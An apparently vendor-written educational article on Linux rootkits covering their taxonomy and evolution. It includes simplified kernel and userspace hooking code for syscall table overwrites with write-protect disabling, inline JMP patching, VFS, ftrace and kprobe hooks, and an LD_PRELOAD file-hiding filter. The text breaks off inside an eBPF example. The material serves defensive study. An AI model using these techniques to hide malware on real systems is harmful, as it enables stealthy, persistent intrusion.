This is part one of a two-part series on Linux rootkits. In this first installment, we focus on the theory behind how rootkits work: their taxonomy, evolution, and the hooking techniques they use to subvert the kernel. In part two, we shift to the defensive side and dive into detection engineering, covering practical approaches to identifying and responding to these threats in production environments.

What Are Rootkits?

Rootkits are stealthy malware designed to conceal malicious activity, such as files, processes, network connections, kernel modules, or accounts. Their primary purposes are persistence and evasion, allowing attackers to maintain long-term access to high-value targets like servers, infrastructure, and enterprise systems. Unlike other forms of malware, rootkits focus on remaining undetected rather than immediately pursuing objectives.

How Do Rootkits Work?

Rootkits manipulate the operating system to alter how it presents information to users and security tools. They operate in user space or within the kernel. User-space rootkits modify user-level processes using techniques such as LD_PRELOAD or library hijacking. Kernel-space rootkits run with the highest privileges, modifying kernel structures, intercepting syscalls, or loading malicious modules. This deep integration gives them powerful evasion capabilities but increases operational risk.

Why Are Rootkits Difficult to Detect?

Kernel-space rootkits can manipulate core OS functions, subverting security tools and obscuring artifacts from userland visibility. They often leave minimal traces of their presence in the system, avoiding obvious indicators such as new processes or files, making traditional detection difficult. Identifying rootkits often requires memory forensics, kernel integrity checks, or telemetry below the OS level.

Why Rootkits Are a Double-Edged Sword for Attackers

While rootkits offer stealth and control, they carry operational risks. Kernel rootkits must be precisely tailored to kernel versions and environments. Mistakes, such as mishandling memory or incorrectly hooking syscalls, can cause system crashes (kernel panics), immediately exposing the attacker. At the very least, these failures draw unwanted attention to the system—a scenario the attacker is actively trying to avoid to maintain their foothold.

Kernel updates also present challenges: changes to APIs, memory structures, or syscalls can break rootkit functionality, making persistence vulnerable. Detection of suspicious modules or hooks typically triggers deep forensic investigation, as rootkits strongly indicate targeted, high-skill attacks. For attackers, rootkits are high-risk, high-reward tools; for defenders, this fragility offers opportunities for detection through low-level monitoring.

Windows vs Linux Rootkits

The Windows Rootkit Ecosystem

Windows is the primary focus for rootkit development. Attackers exploit kernel hooks, drivers, and undocumented syscalls for hiding malware, stealing credentials, and persistence. A mature research community and widespread usage in enterprise environments drive ongoing innovation, including techniques like DKOM, PatchGuard bypasses, and bootkits.

Robust security tools and Microsoft’s hardening efforts push attackers toward increasingly sophisticated methods. Windows remains attractive due to its dominance on enterprise endpoints and consumer devices.

The Linux Rootkit Ecosystem

Linux rootkits have historically received less attention. Fragmentation across distributions and kernel versions complicates detection and development. While academic research exists, much tooling is outdated, and production Linux environments often lack specialized monitoring.

However, Linux’s role in cloud, containers, IoT, and High Performance Computing has made it a growing target. Real-world Linux rootkits have been observed in attacks on cloud providers, telecoms, and governments. Key challenges for attackers include:

• Diverse kernels hinder cross-distribution compatibility.
• Long uptimes prolong kernel mismatches.
• Security features like SELinux, AppArmor, and module signing increase difficulty.

Unique Linux threats include:

• Containers & Kubernetes: new persistence vectors via container escape.
• IoT devices: outdated kernels with minimal monitoring.
• Production servers: headless systems lacking user interaction, reducing visibility.

With Linux dominating modern infrastructure, rootkits represent an under-monitored yet escalating threat. Improving detection, tooling, and research into Linux-specific techniques is increasingly urgent.

Evolution of Linux Rootkit Implementation Models

Over the past two decades, Linux rootkits have evolved from basic userland techniques to advanced, kernel-resident implants leveraging modern kernel interfaces like eBPF and io_uring. Each stage in this evolution reflects both attacker innovation and defender response, pushing rootkit designs toward greater stealth, flexibility, and resilience.

This section outlines that progression, including key characteristics, historical context, and real-world examples.

Early 2000s: Shared Object (SO) Userland Rootkits

The earliest Linux rootkits operated entirely in user space without requiring kernel modification, relying on techniques like LD_PRELOAD or the manipulation of shell profiles to inject malicious shared objects into legitimate binaries. By intercepting standard libc functions such as opendir, readdir, and fopen, these rootkits could manipulate the output of diagnostic tools like ps, ls, and netstat. While this approach made them easier to deploy, their reliance on userland hooks meant they were limited in stealth and scope compared to kernel-level implants; they were easily disrupted by simple reboots or configuration resets. Prominent examples include the Jynx rootkit (2009), which hooked libc functions to hide files and connections, and Azazel (2013), which combined shared object injection with optional kernel-mode features. The foundational techniques for this dynamic linker abuse were famously detailed in Phrack Magazine #61 back in 2003.

Mid-2000s-2010s: Loadable Kernel Module (LKM) Rootkits

As defenders became adept at spotting userland manipulations, attackers migrated into the kernel space via Loadable Kernel Modules (LKMs). Although LKMs are legitimate extensions, malicious actors utilize them to operate with full privileges, hooking the sys_call_table, manipulating ftrace, or altering internal linked lists to hide processes, files, sockets, and even the rootkit itself. While LKMs offer deep control and powerful concealment capabilities, they face significant scrutiny in hardened environments. They are detectable via tainted kernel states, listings in /proc/modules, or specialized LKM scanners, and are increasingly hindered by modern defenses like Secure Boot, module signing, and Linux Security Modules (LSMs). Classic examples of this era include Adore-ng (2004+), a syscall-hooking LKM capable of hiding itself; Diamorphine (2016), a popular hooker that remains functional on many distributions; and Reptile (2020), a modern variant featuring backdoor capabilities.

Late 2010s: eBPF-Based Rootkits

To evade the growing detection of LKM-based threats, attackers began abusing eBPF, a subsystem originally built for safe packet filtering and kernel tracing. Since Linux 4.8+, eBPF has evolved into a programmable in-kernel virtual machine capable of attaching code to syscall hooks, kprobes, tracepoints, or Linux Security Module events. These implants run in kernel space but avoid traditional module loading, allowing them to bypass standard LKM scanners like rkhunter and chkrootkit, as well as Secure Boot restrictions. Because they do not appear in /proc/modules and are essentially invisible to typical module audit mechanisms, they require CAP_BPF or CAP_SYS_ADMIN (or rare unprivileged BPF access) to deploy. This era is defined by tools like Triple Cross (2022), a proof-of-concept that injects eBPF programs to hook syscalls like execve, and Boopkit (2022), which implements a covert C2 channel entirely via eBPF, alongside numerous Defcon presentations exploring the topic.

2025s and Beyond: io_uring-Based Rootkits (Emerging)

The most recent evolution capitalizes on io_uring, a high-performance asynchronous I/O interface introduced in Linux 5.1 (2019) that allows processes to batch system operations via shared memory rings. While designed to reduce syscall overhead for performance, red teamers have demonstrated that io_uring can be abused to create stealthy userland agents or kernel-context rootkits that evade syscall-based EDRs. By using io_uring_enter to batch file, network, and process operations, these rootkits produce far fewer observable syscall events, frustrating traditional detection mechanisms and avoiding the restrictions placed on LKMs and eBPF. Although still experimental, examples like RingReaper (2025), which uses io_uring to stealthily replace common syscalls like read, write, connect, and unlink, and research by ARMO highlight this as a highly promising vector for future rootkit development that is hard to trace without custom instrumentation.

The Linux rootkit design has consistently adapted in response to better defenses. As LKM loading becomes more difficult and syscall auditing becomes more advanced, attackers have turned to alternative interfaces such as eBPF and io_uring. With this evolution, the battle is no longer just about detection, but about understanding the mechanisms rootkits use to blend into the system’s core, starting with their hooking strategies and internal architecture.

Rootkit Internals and Hooking Techniques

Understanding the architecture of Linux rootkits is essential for detection and defense. Most rootkits follow a modular design with two main components:

• Loader: Installs or injects the rootkit and may establish persistence. While not strictly necessary, a separate loader component is often seen in malware infection chains that deploy rootkits.
• Payload: Performs malicious actions such as hiding files, intercepting syscalls, or covert communications.

Payloads rely heavily on hooking techniques to alter execution flow and achieve stealth.

Rootkit Loader Component

The loader is the component responsible for transferring the rootkit into memory, initializing its execution, and in many cases, establishing persistence or escalating privileges. Its role is to bridge the gap between initial access (e.g., via exploit, phishing, or misconfiguration) and full rootkit deployment.

Depending on the rootkit model, the loader may operate entirely in user space, interact with the kernel through standard system interfaces, or bypass operating system protections altogether. Broadly, loaders can be categorized into three classes: malware-based droppers, userland rootkit initializers, and custom kernel-space loaders. Additionally, rootkits may be loaded manually by an attacker through userspace tooling such as insmod.

Malware-Based Droppers

Malware droppers are lightweight programs, often deployed after initial access, whose sole purpose is to download or unpack a rootkit payload and execute it. These droppers typically operate in user space but escalate privileges and interact with kernel-level features.

Common techniques include:

• Module injection: Writing a malicious .ko file to disk and invoking insmod or modprobe to load it as a kernel module.
• Syscall wrapper: Using a wrapper around init_module() or finit_module() to load an LKM directly through syscalls.
• In-memory injection: Leveraging interfaces such as ptrace or memfd_create, often avoiding disk artifacts.
• BPF-based loading: Using utilities like bpftool, tc, or direct bpf() syscalls to load and attach eBPF programs to kernel tracepoints or LSM hooks.

Userland Loaders

In the case of Shared Object rootkits, the loader may be limited to modifying user configuration or environment settings:

• Dynamic linker abuse: Setting LD_PRELOAD=/path/to/rootkit.so allows the malicious shared object to override libc functions when the target binary executes.
• Persistence via profile modification: Inserting preload configurations into .bashrc, .profile, or global files such as /etc/profile ensures continued execution across sessions.

While these loaders are trivial in implementation, they remain effective in weakly defended environments or as part of multi-stage infection chains.

Custom Kernel Loaders

Advanced rootkits may include custom kernel loaders designed to bypass standard module loading paths entirely. These loaders interact directly with low-level kernel interfaces or memory devices to write the rootkit into memory, often evading kernel audit logs or module signature verification.

For example, Reptile includes a userspace binary as a loader, allowing it to load the rootkit without invoking insmod or modprobe; however, it still relies on the init_mod syscall for loading the module into memory.

Additional Loader Capabilities

The malware loader often assumes an expanded role beyond simple initialization, becoming a multifunctional component of the attack chain. A key step for these advanced loaders is Elevating Privileges, in which they seek root access before loading the primary payload, often by exploiting local kernel vulnerabilities, a common tactic exemplified by the "Dirty Pipe" vulnerability (CVE-2022-0847). Once privileges are secured, the loader is then tasked with covering tracks. This involves a process of wiping evidence of execution by clearing entries from critical files like bash_history, kernel logs, audit logs, or the system's main syslog. Finally, to guarantee re-execution upon system restart, the loader ensures persistence by installing mechanisms such as systemd units, cron jobs, udev rules, or modifications to initialization scripts. These multifunctional behaviors often blur the distinction between a mere "loader" and full-fledged malware, especially in complex, multi-stage infections.

Payload Component

The payload delivers core functionality: stealth, control, and persistence. There are several primary methods an attacker might use. User-space payloads, often referred to as SO rootkits, operate by hijacking standard C library functions like readdir or fopen via the dynamic linker. This allows them to manipulate the output of common system tools such as ls, netstat, and ps. While they are generally easier to deploy, their operational scope is limited.

In contrast, kernel-space payloads operate with full system privileges. They can hide files and processes directly from /proc, manipulate the networking stack, and modify kernel structures. A more modern approach involves eBPF-based rootkits, which leverage in-kernel bytecode attached to syscall tracepoints or Linux Security Module (LSM) hooks. These kits offer stealth without requiring out-of-tree modules, making them particularly effective in environments with Secure Boot or module signing policies. Tools like bpftool simplify their loading, thereby complicating detection. Finally, io_uring-based payloads exploit asynchronous I/O batching via io_uring_enter (available in Linux 5.1 and later) to bypass traditional syscall monitoring. This allows for stealthy file, network, and process operations while minimizing telemetry exposure.

Linux Rootkits – Hooking Techniques

Building on that essential foundation, we now turn to the core of most rootkit functionality: hooking. At its essence, hooking involves intercepting and altering the execution of functions or system calls to conceal malicious activity or inject new behaviors. By diverting the normal flow of code, rootkits can hide files and processes, filter out security events, or secretly monitor the system, often without leaving obvious clues. Hooking can be implemented in both userland and kernel space, and over the years, attackers have devised numerous hooking techniques, from legacy methods to modern evasive maneuvers. In this part, we will provide a deep dive into common hooking techniques used by Linux rootkits, illustrating each method with examples and real-world rootkit samples (such as Reptile, Diamorphine, PUMAKIT, and, more recently, FlipSwitch) to understand how they work and how kernel evolution has challenged them.

The Concept of Hooking

At a high level, hooking is the practice of intercepting a function or system call invocation and redirecting it to malicious code. By doing so, a rootkit can modify the returned data or behavior to hide its presence or tamper with system operations. For example, a rootkit might hook the syscall that lists files in a directory (getdents), making it skip over any filenames that match the rootkit’s own files, thus making those files “invisible” to user commands like ls.

Hooking is not confined to kernel internals; it can also occur in user space. Early Linux rootkits operated entirely in userland by injecting malicious shared objects into processes. Techniques like using the dynamic linker’s LD_PRELOAD environment variable allow a rootkit to override standard C library functions (e.g., getdents, readdir, and fopen) in user programs. This means when a user runs a tool like ps or netstat, the rootkit’s injected code intercepts calls to list processes or network connections and filters out the malicious ones. These userland hooks require no kernel privileges and are relatively simple to implement.

Notable examples include JynxKit (2012) and Azazel (2014), user-mode rootkits that hook dozens of libc functions to hide processes, files, network ports, and even enable backdoors. However, userland hooking has significant limitations: it’s easier to detect and remove, and it lacks the deep control that kernel-level hooks have. As a result, most modern and “in the wild” Linux rootkits have shifted to kernel space hooking, despite the higher complexity and risk, because kernel hooks can comprehensively trick the operating system and security tools at a low level.

In the kernel, hooking typically means altering kernel data structures or code so that when the kernel tries to execute a particular operation (say, open a file or make a system call), it invokes the rootkit’s code instead of (or in addition to) the legitimate code. Over the years, Linux kernel developers have introduced stronger protections to guard against unauthorized modifications, but attackers have responded with increasingly sophisticated hooking methods. Below, we’ll examine the major hooking techniques in kernel space, starting from older methods (now largely obsolete) and progressing to modern techniques that attempt to bypass contemporary kernel defenses. Each subsection will explain the technique, show a simplified code example, and discuss its usage in known rootkits and its limitations given today’s Linux safeguards.

Hooking Techniques in the Kernel

Interrupt Descriptor Table (IDT) Hooking

One of the earliest kernel hooking tricks on Linux was to target the Interrupt Descriptor Table (IDT). On 32-bit x86 Linux, system calls used to be invoked via a software interrupt (int 0x80). The IDT is a table that maps interrupt numbers to handler addresses. By modifying the IDT entry for 0x80, a rootkit could hijack the system call entry point before the kernel’s own system call dispatcher gets control. In other words, when any program triggered a syscall via int 0x80, the CPU would jump to the rootkit’s custom handler first, allowing the rootkit to filter or redirect calls at the very lowest level. Below is a simplified code example of IDT hooking (for illustration purposes):

// Install the IDT hook
static int install_idt_hook(void) {
    // Get pointer to IDT table
    idt_table = get_idt_table();

    // Save original syscall handler (int 0x80 = entry 128)
    original_syscall_entry = idt_table[0x80];

    // Calculate original handler address
    original_syscall_handler = (void*)(
        (original_syscall_entry.offset_high << 16) |
        original_syscall_entry.offset_low
    );

    // Install our hook
    idt_table[0x80].offset_low = (unsigned long)custom_int80_handler & 0xFFFF;
    idt_table[0x80].offset_high =
        ((unsigned long)custom_int80_handler >> 16)
        & 0xFFFF;

    // Keep same selector and attributes as original
    // idt_table[0x80].selector and type_attr remain unchanged

    printk(KERN_INFO "IDT hook installed at 0x80\n");
    return 0;
}

The above code sets a new handler for interrupt 0x80, redirecting execution flow to the rootkit’s handler before any syscall handling occurs. This allows the rootkit to intercept or modify syscall behavior entirely below the level of the syscall table. IDT hooking is used by educational and older rootkits such as SuckIT.

IDT hooking is mostly a historical technique now. It only worked on older Linux systems that use the int 0x80 mechanism (32-bit x86 kernels before Linux 2.6). Modern 64-bit Linux uses the sysenter/syscall instructions instead of the software interrupt, so the IDT entry for 0x80 is no longer used for system calls. Additionally, IDT hooking is highly architecture-specific (x86 only) and is not effective on modern kernels with x86_64 or other architectures.

Syscall Table Hooking

Syscall table hooking is a classic rootkit technique that involves modifying the kernel's system call dispatch table, known as the sys_call_table. This table is an array of function pointers where each entry corresponds to a specific syscall number. By overwriting a pointer in this table, an attacker can redirect a legitimate syscall, such as getdents64, kill, or read, to a malicious handler. An example is displayed below.

asmlinkage int (*original_getdents64)(
    unsigned int,
    struct linux_dirent64 __user *,
    unsigned int);

asmlinkage int hacked_getdents64(
    unsigned int fd,
    struct linux_dirent64 __user *dirp,
    unsigned int count)
{
    int ret = original_getdents64(fd, dirp, count);
    // Filter hidden entries from dirp
    return ret;
}

write_cr0(read_cr0() & ~0x10000); // Disable write protection
sys_call_table[__NR_getdents64] = hacked_getdents64;
write_cr0(read_cr0() | 0x10000); // Re-enable write protection

In the example, to modify the table, a kernel module would first need to disable write protection on the memory page where the table resides. The following assembly code (as seen in Diamorphine) demonstrates how the 20th bit (Write Protect) of the CR0 control register can be cleared, even though the write_cr0 function is no longer exported to modules:

static inline void
write_cr0_forced(unsigned long val)
{
    unsigned long __force_order;

    asm volatile(
        "mov %0, %%cr0"
        : "+r"(val), "+m"(__force_order));
}

Once write protection is disabled, the address of a syscall in the table can be replaced with the address of a malicious function. After the modification, write protection is re-enabled. Notable examples of rootkits that used this technique include Diamorphine, Knark, and Reveng_rtkit. Syscall table hooking has several limitations:

• Kernel hardening (since 2.6.25) hides sys_call_table.
• Kernel memory pages were made read-only (CONFIG_STRICT_KERNEL_RWX).
• Security features like Secure Boot and the kernel lockdown mechanism can hinder modifications to CR0.

The most definitive mitigation came with Linux kernel 6.9, which fundamentally changed how syscalls are dispatched on the x86-64 architecture. Before version 6.9, the kernel executed syscalls by directly looking up the handler in the sys_call_table array:

// Pre-v6.9 Syscall Dispatch
asmlinkage const sys_call_ptr_t sys_call_table[] = {
    #include <asm/syscalls_64.h>
};

Starting with kernel 6.9, the syscall number is used in a switch statement to find and execute the appropriate handler. The sys_call_table still exists but is only populated for compatibility with tracing tools and is no longer used in the syscall execution path.

// Kernel v6.9+ Syscall Dispatch
long x64_sys_call(const struct pt_regs *regs, unsigned int nr)
{
    switch (nr) {
    #include <asm/syscalls_64.h>
    default: return __x64_sys_ni_syscall(regs);
    }
};

As a result of this architectural change, overwriting function pointers in the sys_call_table on kernels 6.9 and newer does not affect syscall execution, rendering the technique entirely ineffective. While this led us to assume that syscall table patching was no longer viable, we recently published the FlipSwitch technique, which demonstrates that this vector is far from dead. This method leverages specific register manipulation gadgets to momentarily disable kernel write-protection mechanisms, effectively allowing an attacker to bypass the "immutability" of the modern syscall path and reintroduce hooks even within these hardened environments.

Instead of targeting the data-based sys_call_table, FlipSwitch focuses on the compiled machine code of the kernel's new syscall dispatcher function, x64_sys_call. Because the kernel now uses a massive switch-case statement to execute syscalls, each syscall has a hardcoded call instruction within the dispatcher's binary. FlipSwitch scans the memory of the x64_sys_call function to locate the specific "signature" of a target syscall, typically an 0xe8 opcode (the CALL instruction) followed by a 4-byte relative offset that points to the original, legitimate handler.

Once this call site is identified within the dispatcher, the rootkit uses gadgets to clear the Write Protect (WP) bit in the CR0 control register, granting temporary write access to the kernel's executable code segments. The original relative offset is then overwritten with a new offset pointing to a malicious, adversary-controlled function. This effectively "flips the switch" at the point of dispatch, ensuring that whenever the kernel attempts to execute the target syscall through its modern switch-statement path, it is redirected to the rootkit instead. This enables reliable, precise syscall interception that persists despite the 6.9 kernel’s architectural hardening.

Inline Hooking / Function Prologue Patching

Inline hooking is an alternative to hooking via pointer tables. Instead of modifying a pointer in a table, inline hooking patches the code of the target function itself. The rootkit writes a jump instruction at the start (prologue) of a kernel function, which diverts execution to the rootkit’s own code. This technique is akin to function hot-patching or the way user-mode hooks on Windows work (e.g., modifying the first bytes of a function to jump to a detour).

For example, a rootkit might target a kernel function like do_sys_open (which is part of the open file syscall handling). By overwriting the first few bytes of do_sys_open with an x86 JMP instruction to malicious code, the rootkit ensures that whenever do_sys_open is called, it jumps into the rootkit’s routine instead. The malicious routine can then execute whatever it wants (e.g., check if the filename to open is on a hidden list and deny access), and optionally call the original do_sys_open to proceed with normal behavior for non-hidden files.

unsigned char *target = (unsigned char *)kallsyms_lookup_name("do_sys_open");
unsigned long hook = (unsigned long)&malicious_function;
int offset = (int)(hook - ((unsigned long)target + 5));
unsigned char jmp[5] = {0xE9};
memcpy(&jmp[1], &offset, 4);

// Memory protection omitted for brevity
memcpy(target, jmp, 5);

asmlinkage long malicious_function(
    const char __user *filename,
    int flags, umode_t mode) {
    printk(KERN_INFO "do_sys_open hooked!\n");
    return -EPERM;
}

This code overwrites the beginning of do_sys_open() with a JMP instruction that redirects execution to malicious code. The open-source rootkit Reptile extensively uses inline function patching via a custom framework called KHOOK (which we will discuss shortly).

Reptile’s inline hooks target functions like sys_kill and others, enabling backdoor commands (e.g., sending a specific signal to a process triggers the rootkit to elevate privileges or hide the process). Another example is Suterusu, which also applied inline patching for some of its hooks.

Inline hooking is fragile and high-risk: overwriting a function’s prologue is sensitive to kernel version and compiler differences (so hooks often need per-build patches or runtime disassembly), it can easily crash the system if instructions or concurrent execution aren’t handled correctly, and it requires bypassing modern memory protections (W^X, CR0 WP, module signing/lockdown) or exploiting vulnerabilities to make kernel text writable.

Virtual Filesystem Hooking

The Virtual Filesystem (VFS) layer in Linux provides an abstraction for file operations. For example, when you read a directory (like ls /proc), the kernel will eventually call a function to iterate over directory entries. File systems define their own file_operations with function pointers for actions like iterate_shared (to list directory contents) or read/write for file I/O. VFS hooking involves replacing these function pointers with rootkit-provided functions to manipulate how the filesystem presents data.

In essence, a rootkit can hook into the VFS to hide files or directories by filtering them out of directory listings. A common trick: hook the function that iterates directory entries, and make it skip any file names that match a certain pattern. The file_operations structure for directories (particularly in /proc or /sys) is a frequent target, since hiding malicious processes often involves hiding entries under /proc/<pid>.

Consider this example hook for a directory listing function:

static iterate_dir_t original_iterate;

static int malicious_filldir(
    struct dir_context *ctx,
    const char *name, int namelen,
    loff_t offset, u64 ino,
    unsigned int d_type)
{
    if (!strcmp(name, "hidden_file"))
        return 0; // Skip hidden_file
    return ctx->actor(ctx, name, namelen, offset, ino, d_type);
}

static int malicious_iterate(struct file *file, struct dir_context *ctx)
{
    struct dir_context new_ctx = *ctx;
    new_ctx.actor = malicious_filldir;
    return original_iterate(file, &new_ctx);
}

// Hook installation
file->f_op->iterate = malicious_iterate;

This replacement function filters out hidden files during directory listing operations. By hooking at the VFS level, the rootkit doesn’t need to tamper with system call tables or low-level assembly; it simply piggybacks on the filesystem interface. Adore-NG, a once-popular Linux rootkit, employed VFS hooking to hide files and processes. It patched the function pointers for directory iteration to conceal entries for specific PIDs and filenames. Many other kernel rootkits have similar code to hide themselves or their artifacts via VFS hooks.

VFS hooking is still widely used, but it has limitations due to changes in kernel structure offsets between versions, which can lead to hooks breaking.

Ftrace-Based Hooking

Modern Linux kernels include a powerful tracing framework called ftrace (function tracer). Ftrace is intended for debugging and performance analysis, allowing one to attach hooks (callbacks) to almost any kernel function entry or exit without modifying the kernel code directly. It works by dynamically modifying kernel code at runtime in a controlled manner (often by patching in a lightweight trampoline that calls the tracing handler). Importantly, ftrace provides an API for kernel modules to register trace handlers, as long as certain conditions are met (like having the kernel built with ftrace support and the debugfs interface available).

Rootkits have started abusing ftrace to implement hooks in a less obvious way. Instead of manually writing a JMP into a function, a rootkit can ask the kernel’s ftrace machinery to do it on its behalf; essentially “legitimizing” the hook. This means the rootkit doesn’t have to find the function’s address or modify page protections; it simply registers a callback for the function name it wants to intercept, and the kernel installs the hook.

Here’s a simplified example of using ftrace to hook the mkdir system call handler:

static int __init hook_init(void) {
    target_addr = kallsyms_lookup_name(SYSCALL_NAME("sys_mkdir"));
    if (!target_addr) return -ENOENT;
    real_mkdir = (void *)target_addr;

    ops.func = ftrace_thunk;
    ops.flags = FTRACE_OPS_FL_SAVE_REGS
        | FTRACE_OPS_FL_RECURSION_SAFE
        | FTRACE_OPS_FL_IPMODIFY;

    if (ftrace_set_filter_ip(&ops, target_addr, 0, 0)) return -EINVAL;
    return register_ftrace_function(&ops);
}

This hook intercepts the sys_mkdir function and reroutes it through a malicious handler. Recent rootkits such as KoviD, Singularity, and Umbra have utilized ftrace-based hooks. These rootkits register ftrace callbacks on various kernel functions (including syscalls) to either monitor or manipulate them.

The main advantage of ftrace hooking is that it leaves no obvious footprints in global tables or patched code. The hooking is done via legitimate kernel interfaces. To an untrained eye, everything looks normal; sys_call_table is intact, function prologues are not manually overwritten by the rootkit (they are overwritten by the ftrace mechanism, but that is a common and allowed occurrence in a kernel with tracing enabled). Also, ftrace hooks can often be enabled/disabled on the fly and are inherently less intrusive than manual patching.

While ftrace hooking is powerful, it’s constrained by environment and privilege boundaries (if used from outside the kernel). It requires access to the tracing interface (debugfs) and CAP_SYS_ADMIN privileges, which may be unavailable on hardened or containerized systems where even UID 0 is restricted by namespaces, LSMs, or Secure Boot lockdown policies. Debugfs may also be unmounted or read-only in production for security reasons. Thus, while a fully privileged root user can typically use ftrace, modern defenses often disable or limit these capabilities, reducing the practicality of ftrace-based hooks in highly hardened environments.

Kprobes Hooking

Kprobes is another kernel feature intended for debugging and instrumentation, which attackers have repurposed for rootkit hooking. Kprobes allow one to dynamically break into almost any kernel routine at runtime by registering a probe handler. When the specified instruction is about to execute, the kprobe infrastructure saves state and transfers control to the custom handler. After the handler runs (you can even alter registers or the instruction pointer), the kernel resumes normal execution of the original code. In simpler terms, kprobes let you attach a custom callback to an arbitrary point in kernel code (function entry, specific instruction, etc.), somewhat like a breakpoint with a handler.
Using kprobes for malicious hooking usually involves intercepting a function to either prevent it from doing something or to grab some info. A common use in modern rootkits: since many important symbols (like sys_call_table or kallsyms_lookup_name) are no longer exported, a rootkit can deploy a kprobe on a function that does have access to that symbol and steal it. A kprobe structure and registration are shown below.

// Declare a kprobe targeting the symbol "kallsyms_lookup_name"
static struct kprobe kp = {
    .symbol_name = "kallsyms_lookup_name"
};

// Function pointer type matching kallsyms_lookup_name
typedef unsigned long
    (*kallsyms_lookup_name_t)(const char *name);

// Global pointer to the resolved kallsyms_lookup_name
kallsyms_lookup_name_t kallsyms_lookup_name;

// Register the kprobe; kernel resolves kp.addr
// to the address of the symbol
register_kprobe(&kp);

// Assign resolved address to our function pointer
kallsyms_lookup_name =
    (kallsyms_lookup_name_t) kp.addr;

// Unregister the kprobe (only needed it once)
unregister_kprobe(&kp);

This probe is used to retrieve the symbol name for kallsyms_lookup_name, typically a precursor to syscall table hooking. Although not present in the initial commits, a recent update to Diamorphine used this technique. It places a kprobe to grab the pointer of kallsyms_lookup_name itself (or uses a kprobe on a known function to indirectly get what it needs). Similarly, other rootkits use a temporary kprobe to locate symbols, then unregister it once done, moving on to perform hooks via other means. Kprobes can also be used to directly hook behavior (not just find addresses). Or a jprobe (a specialized kprobe) can redirect a function entirely. However, using kprobes to fully replace functionality is tricky and not commonly done, because it’s simpler to either patch or use ftrace if you want to consistently hijack a function. Kprobes are often used for intermittent or auxiliary hooking.

Kprobes are useful but limited: they add runtime overhead and can destabilize systems if placed on very hot or restricted low-level functions (recursive probes are suppressed), so attackers must pick probe points carefully; they’re also auditable and can trigger kernel warnings or be logged by system auditing, and active probes are viewable under /sys/kernel/debug/kprobes/list (so unexpected entries are suspicious); some kernels may be built without kprobe/debug support.

Kernel Hook Framework

As mentioned earlier, with the Reptile rootkit, attackers sometimes create higher-level frameworks to manage their hooks. Kernel Hook (KHOOK) is one such framework (developed by the author of Reptile) that abstracts away the dirty work of inline patching and provides a cleaner interface for rootkit developers. Essentially, KHOOK is a library that allows you to specify a function to hook and your replacement, and it handles modifying the kernel code while providing a trampoline to call the original function safely. To illustrate, here’s an example of how one might use a KHOOK-like macro (based on Reptile’s usage) to hook the kill syscall:

// Creates a replacement for sys_kill:
// long sys_kill(long pid, long sig)
KHOOK_EXT(long, sys_kill, long, long);

static long khook_sys_kill(long pid, long sig) {
    // Signal 0 is used to check if a process
    // exists (without sending a signal)
    if (sig == 0) {
        // If the target is invisible (hidden by
        // a rootkit), pretend it doesn't exist
        if (is_proc_invisible(pid)) {
            return -ESRCH; // No such process
        }
    }

    // Otherwise, forward the call to the original sys_kill syscall
    return KHOOK_ORIGIN(sys_kill, pid, sig);
}

KHOOK operates via inline function patching, overwriting function prologues with a jump to attacker-controlled handlers. The example above illustrates how sys_kill() is redirected to a malicious handler if the kill signal is 0.

Although KHOOK simplifies inline patching, it still inherits all its drawbacks: it modifies kernel text to insert jump stubs, so protections like kernel lockdown, Secure Boot, or W^X can block it. They are also architecture- and version-dependent (commonly limited to x86 and fails on kernel 5.x+), making them fragile across builds.

Hooking Techniques in Userspace

Userspace hooking is a technique that targets the libc layer, or other shared libraries accessed via the dynamic linker, to intercept common API calls used by user tools. Examples of these calls include readdir, getdents, open, fopen, fgets, and connect. By interposing replacement functions, an attacker can manipulate ordinary userland tools like ps, ls, lsof, and netstat to return altered or "sanitized" views. This is used to conceal processes, files, sockets, or hide evidence of malicious code.

The common methods for implementing this mirror how the dynamic linker resolves symbols or involve modifying process memory. These methods include using the LD_PRELOAD environment variable or LD_AUDIT to force an early load of a malicious shared object (.so) file, modifying ELF DT_* entries or library search paths to prioritize a hostile library, or performing runtime GOT/PLT overwrites within a process. Overwriting the GOT/PLT typically involves changing memory protection settings (mprotect), writing the new code (write), and then restoring the original settings (restore) after injection.

A hooked function usually calls the real libc symbol using dlsym(RTLD_NEXT, ...) for its normal operation. It then filters or alters the results only for targets it intends to hide. A basic example of a LD_PRELOAD filter for the readdir() function is shown below.

#define _GNU_SOURCE       // GNU extensions (RTLD_NEXT)
#include <dlfcn.h>        // dlsym(), RTLD_NEXT
#include <dirent.h>       // DIR, struct dirent, readdir()
#include <string.h>       // strstr()

// Pointer to the original readdir()
static struct dirent *(*real_readdir)(DIR *d);

struct dirent *readdir(DIR *d) {
    if (!real_readdir) // resolve original once
        real_readdir =
            dlsym(RTLD_NEXT, "readdir");
    struct dirent *ent;
    // Fetch next dir entry from real readdir
    while ((ent = real_readdir(d)) != NULL) {
        // If name contains the secret marker,
        // skip this entry (hide it)
        if (strstr(ent->d_name, ".secret"))
            continue;
        return ent; // return visible entry
    }
    return NULL; // no more entries
}

This example replaces readdir() in-process by providing a library resolved before the real libc, effectively hiding filenames that match a filter. Historic user-mode hiding tools and lightweight “rootkits” have used LD_PRELOAD or GOT/PLT patching to hide processes, files, and sockets. Attackers also inject shared objects into specific services to achieve targeted stealth without needing kernel modules.

Userspace interposition affects only processes that load the malicious library (or are injected into). It’s fragile for system-wide persistence (service/unit files, sanitized environments, setuid/static binaries complicate it). Detection is straightforward relative to kernel hooks: check for suspicious LD_PRELOAD/LD_AUDIT entries, unexpected mapped shared objects in /proc/<pid>/maps, mismatches between on-disk libraries and in-memory imports, or altered GOT entries. Integrity tools, service supervisors (systemd), and simple process memory inspection will usually expose this technique.

Hooking Techniques Using eBPF

A more recent rootkit implementation model involves the abuse of eBPF (extended Berkeley Packet Filter). eBPF is a subsystem in Linux that allows privileged users to load bytecode programs into the kernel. While often described as a "sandboxed VM," its security actually relies on a static verifier that ensures the bytecode is safe (no infinite loops, no illegal memory access) before it is JIT-compiled into native machine code for near-zero-latency execution.

Instead of inserting an LKM to modify kernel behavior, an attacker can load one or more eBPF programs that attach to sensitive kernel events. For instance, one can write an eBPF program that attaches to the system call entry for execve (via a kprobe or tracepoint), allowing it to monitor or manipulate process execution. Similarly, eBPF can hook at the LSM layer (like program execution notifications) to prevent certain actions or hide them. An example is displayed below.

// Attach this eBPF program to the tracepoint for sys_enter_execve
SEC("tp/syscalls/sys_enter_execve")
int tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx) {
    // Get the current process's PID and TID as a 64-bit value
